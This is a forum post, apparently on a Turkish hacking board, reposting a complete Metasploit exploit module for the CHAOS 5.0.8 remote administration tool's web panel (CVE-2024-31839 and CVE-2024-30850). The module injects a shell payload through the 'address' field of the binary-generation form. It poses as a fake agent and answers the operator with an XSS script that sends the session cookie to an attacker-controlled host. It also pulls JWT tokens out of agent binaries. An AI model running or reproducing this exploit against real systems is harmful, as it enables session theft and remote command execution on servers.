Hoşgeldin Misafir

CHAOS 5.0.8 Cross Site Scripting / Remote Command Execution Exploit

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Rex::Proto::Http::WebSocket
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Chaos RAT XSS to RCE',
        'Description' => %q{
          CHAOS v5.0.8 is a free and open-source Remote Administration Tool that
          allows generated binaries to control remote operating systems. The
          webapp contains a remote command execution vulnerability which
          can be triggered by an authenticated user when generating a new
          executable. The webapp also contains an XSS vulnerability within
          the view of a returned command being executed on an agent.
 
          Execution can happen through one of three routes:
 
          1. Provided credentials can be used to execute the RCE directly
 
          2. A JWT token from an agent can be provided to emulate a compromised
          host. If a logged in user attempts to execute a command on the host
          the returned value contains an xss payload.
 
          3. Similar to technique 2, an agent executable can be provided and the
          JWT token can be extracted.
 
          Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 running
          in a docker container.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'chebuya' # original PoC, analysis
        ],
        'References' => [
          [ 'URL', 'https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc'],
          [ 'URL', 'https://github.com/tiagorlampert/CHAOS'],
          [ 'CVE', '2024-31839'], # XSS
          [ 'CVE', '2024-30850'] # RCE
        ],
        'Platform' => ['linux', 'unix'],
        'Privileged' => false,
        'Payload' => { 'BadChars' => ' ' },
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultOptions' => {
          'WfsDelay' => 3_600, # 1hr
          'URIPATH' => '/' # avoid long URLs in xss payloads
        },
        'DisclosureDate' => '2024-04-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME', [ false, 'User to login with']), # admin
        OptString.new('PASSWORD', [ false, 'Password to login with']), # admin
        OptString.new('TARGETURI', [ true, 'The URI of the Chaos Application', '/']),
        OptString.new('JWT', [ false, 'Agent JWT Token of the malware']),
        OptPath.new('AGENT', [ false, 'A Chaos Agent Binary'])
      ]
    )
    register_advanced_options(
      [
        OptString.new('AGENT_HOSTNAME', [ false, 'Hostname for a fake agent', 'DC01']),
        OptString.new('AGENT_USERNAME', [ false, 'Username for a fake agent', 'Administrator']),
        OptString.new('AGENT_USERID', [ false, 'User ID for a fake agent', 'Administrator']),
        OptEnum.new('AGENT_OS', [ false, 'OS for a fake agent', 'Windows', ['Windows', 'Linux']]),
      ]
    )
  end
 
  def on_request_uri(cli, request)
    if request.method == 'GET' && @xss_response_received == false
      vprint_status('Received GET request.')
      return unless request.uri.include? '='
 
      cookie = request.uri.split('jwt=')[1]
      print_good("Received cookie: #{cookie}")
      send_response_html(cli, '')
      @xss_response_received = true
      list_agents(cookie)
      rce(cookie)
    end
    send_response_html(cli, '')
  end
 
  def mac_address
    @mac_address ||= Faker::Internet.mac_address
    @mac_address
  end
 
  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )
 
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200
 
    return CheckCode::Detected('Chaos application found') if res.body.include?('<title>CHAOS</title>')
 
    CheckCode::Safe('Chaos application not found')
  end
 
  def login
    vprint_status('Attempting login')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'auth'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200
    res.get_cookies.scan(/jwt=([\w._-]+);*/).flatten[0] || ''
  end
 
  def rce(cookie)
    data = Rex::MIME::Message.new
 
    data.add_part("http://localhost\'$(#{payload.encoded})\'", nil, nil, 'form-data; name="address"')
    data.add_part('8080', nil, nil, 'form-data; name="port"')
    data.add_part('1', nil, nil, 'form-data; name="os_target"') # 1 windows, 2 linux
    data.add_part('', nil, nil, 'form-data; name="filename"')
    data.add_part('false', nil, nil, 'form-data; name="run_hidden"')
 
    post_data = data.to_s
 
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'generate'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data,
      'cookie' => "jwt=#{cookie}"
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Shellcode rejected: #{res.body}") unless res.code == 200
  end
 
  def convert_to_int_array(string)
    string.bytes.to_a
  end
 
  # Retrieve the server's response and pull out the command response. The return value is
  # the server's response value (or 1 on failure).
  def recv_wsframe_status(wsock)
    res = wsock.get_wsframe
    return 1 unless res
 
    begin
      res_json = JSON.parse(res.payload_data)
    rescue JSON::ParserError
      fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')
    end
    command = res_json['command']
    return 1 if command.nil?
 
    command
  end
 
  def agent_command_handler(cookie)
    vprint_status('WebSocket connecting to receive commands')
    headers = {
      'Cookie' => "jwt=#{cookie}",
      'X-Client' => mac_address
    }
 
    wsock = connect_ws(
      'uri' => normalize_uri(target_uri.path, 'client'),
      'headers' => headers
    )
 
    start_time = Time.now.to_i
    command = 1
    while Time.now.to_i < start_time + datastore['WfsDelay']
      begin
        Timeout.timeout(datastore['WfsDelay']) do
          command = recv_wsframe_status(wsock)
        end
      rescue Timeout::Error
        command = 1
      end
 
      next if command == 1
 
      vprint_good("Received agent command '#{command}', sending XSS in return")
 
      data = {
        'client_id' => mac_address,
        # removed the rickroll from the PoC :(
        'response' => convert_to_int_array("</pre><script>var i = new Image;i.src='http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/'+document.cookie;</script>"),
        'has_error' => false
      }
      wsock.put_wsbinary(JSON.generate(data))
    end
    print_status('Stopping WebSocket connection')
  end
 
  def agent_callback_checkin(cookie)
    start_time = Time.now.to_i
    while Time.now.to_i < start_time + datastore['WfsDelay']
      print_status('Performing Callback Checkin')
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'health'),
        'cookie' => "jwt=#{cookie}"
      )
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200
 
      body = {
        hostname: datastore['AGENT_HOSTNAME'],
        username: datastore['AGENT_USERNAME'],
        user_id: datastore['AGENT_USERID'],
        os_name: datastore['AGENT_OS'],
        os_arch: 'amd64',
        mac_address: mac_address,
        local_ip_address: datastore['SRVHOST'],
        port: datastore['SRVPORT'].to_s,
        fetched_unix: Time.now.to_i
      }
 
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'device'),
        'cookie' => "jwt=#{cookie}",
        'data' => body.to_json
      )
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200
      Rex.sleep(30)
    end
    print_status('Stopping Callback Checkin')
  end
 
  def fake_agent(server_cookie)
    # start callback checkins and command handler
    @threads = []
    @threads << framework.threads.spawn('CHAOS-agent-callback', false) do
      agent_callback_checkin(server_cookie)
    end
    @threads << framework.threads.spawn('CHAOS-agent-command-handler', false) do
      agent_command_handler(server_cookie)
    end
    @threads.map do |t|
      t.join
    rescue StandardError => e
      print_error("Error in CHAOS Rat Threads: #{e}")
    end
  end
 
  #
  # Handle the HTTP request and return a response.  Code borrowed from:
  # msf/core/exploit/http/server.rb
  #
  def start_http_service(opts = {})
    # Start a new HTTP server
    @http_service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      (opts['ServerPort'] || bindport).to_i,
      opts['ServerHost'] || bindhost,
      datastore['SSL'],
      {
        'Msf' => framework,
        'MsfExploit' => self
      },
      opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),
      datastore['SSLCert'],
      datastore['SSLCompression'],
      datastore['SSLCipher'],
      datastore['SSLVersion']
    )
    @http_service.server_name = datastore['HTTP::server_name']
    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => method(:on_request_uri),
      'Path' => resource_uri
    }.update(opts['Uri'] || {})
    proto = (datastore['SSL'] ? 'https' : 'http')
 
    netloc = opts['ServerHost'] || bindhost
    http_srvport = (opts['ServerPort'] || bindport).to_i
    if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443)
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{http_srvport}"
      else
        netloc = "#{netloc}:#{http_srvport}"
      end
    end
    print_status("Listening for XSS response on: #{proto}://#{netloc}#{uopts['Path']}")
 
    # Add path to resource
    @service_path = uopts['Path']
    @http_service.add_resource(uopts['Path'], uopts)
  end
 
  def list_agents(cookie)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'devices'),
      'headers' => {
        'cookie' => "jwt=#{cookie}"
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    soup = Nokogiri::HTML(res.body)
    rows = soup.css('tr')
 
    agent_table = Rex::Text::Table.new(
      'Header' => 'Live Agents',
      'Indent' => 1,
      'Columns' =>
        [
          'IP',
          'OS',
          'Username',
          'Hostname',
          'MAC'
        ]
    )
 
    rows.each do |row|
      cells = row.css('td')
      next if cells.length != 7
 
      agent_ip = cells[4].text.strip
      hostname = cells[1].text.strip
 
      agent_table << [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip]
      report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "CHAOS C2 Agent Deployed, callback: #{datastore['RHOST']}")
    end
    print_good('Detected Agents')
    print_line(agent_table.to_s)
  end
 
  def exploit
    unless (datastore['USERNAME'] && datastore['PASSWORD']) ||
           datastore['JWT'] ||
           datastore['AGENT']
      fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required')
    end
    fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
 
    @xss_response_received = false
 
    if datastore['USERNAME'] && datastore['PASSWORD']
      print_status('Attempting exploitation through direct login')
      cookie = login
      rce(cookie)
    elsif datastore['JWT']
      print_status('Attempting exploitation through JWT token')
      vprint_status("Fake MAC for agent: #{mac_address}")
      start_http_service
      fake_agent(datastore['JWT'])
    elsif datastore['AGENT']
      print_status('Attempting exploitation through Agent')
      fail_with(Failure::BadConfig, 'AGENT file not found') unless File.file?(datastore['AGENT'])
      agent_exe = File.read(datastore['AGENT'])
      if agent_exe =~ /main\.ServerAddress=(((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4})/
        server_address = ::Regexp.last_match(1)
        vprint_status("Server address: #{server_address}")
      end
 
      if agent_exe =~ /main\.Port=(\d{1,6})/
        server_port = ::Regexp.last_match(1)
        vprint_status("Server port: #{server_port}")
      end
 
      if agent_exe =~ %r{main\.Token=([a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*)}
        server_cookie = ::Regexp.last_match(1)
        vprint_status("Server JWT Token: #{server_cookie}")
      end
      fail_with(Failure::BadConfig, 'JWT token not found in agent executable') unless server_cookie
      vprint_status("Fake MAC for agent: #{mac_address}")
      start_http_service
      fake_agent(server_cookie)
    end
  end
 
  def cleanup
    # Clean and stop HTTP server
    if @http_service
      begin
        @http_service.remove_resource(datastore['URIPATH'])
        @http_service.deref
        @http_service.stop
        @http_service = nil
      rescue StandardError => e
        print_error("Failed to stop http server due to #{e}")
      end
    end
    @threads.each(&:kill) unless @threads.nil? # no need for these anymore
    super
  end
end
 
#  THS [2024-06-24]  #